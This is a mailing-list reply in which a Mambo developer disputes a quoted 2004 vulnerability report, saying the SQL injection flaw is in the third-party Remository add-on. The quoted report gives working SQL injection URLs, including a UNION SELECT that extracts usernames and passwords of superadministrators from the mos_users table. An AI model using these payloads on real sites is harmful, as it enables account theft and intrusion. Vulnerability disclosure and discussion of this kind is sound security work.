Re: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL injection Vulnerability.

[Tim Broeker <tim () electricjet com>]

Question:

Did you even bother to contact the vendor? Because if you had, you would
have been told that this is NOT a Mambo security flaw. 

It affects a third party add-on called Remository that is not part of
the core Mambo software. 

Please correct this security report, and also contact the developers of
Remository so that they can correct the flaw. If you don't know who the
developer of Remository is, you can find out through the site that you
hacked using this exploit. >:-| 

Tim Broeker
Mambo Developer


On Fri, 2004-09-17 at 22:39, khoaimi wrote:
> Vendor
> www.mamboportal.com
> Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is 
> used all over the world for everything from simple websites to complex corporate applications. Mambo is easy to 
> install, simple to manage, and reliable. 
>
> Bug name : SQL injection
> Version : lastest Version 4.5.1(1.0.9) and lower.
>
> Exploit :
>
> http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
>
> You can exploit from the table "mos_users" with the query below
>
> http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/*
>
> with the values of usertype : 
>  0 = superadministrator
>  1 = administrator
>  2 = editor
>  3 = user
>  5 = publisher
>  6 = manager
>
> Vendor feedback :
> Not yet
>
> Vendor patch :
> Not yet
>
> khoai
> www.xfrog.org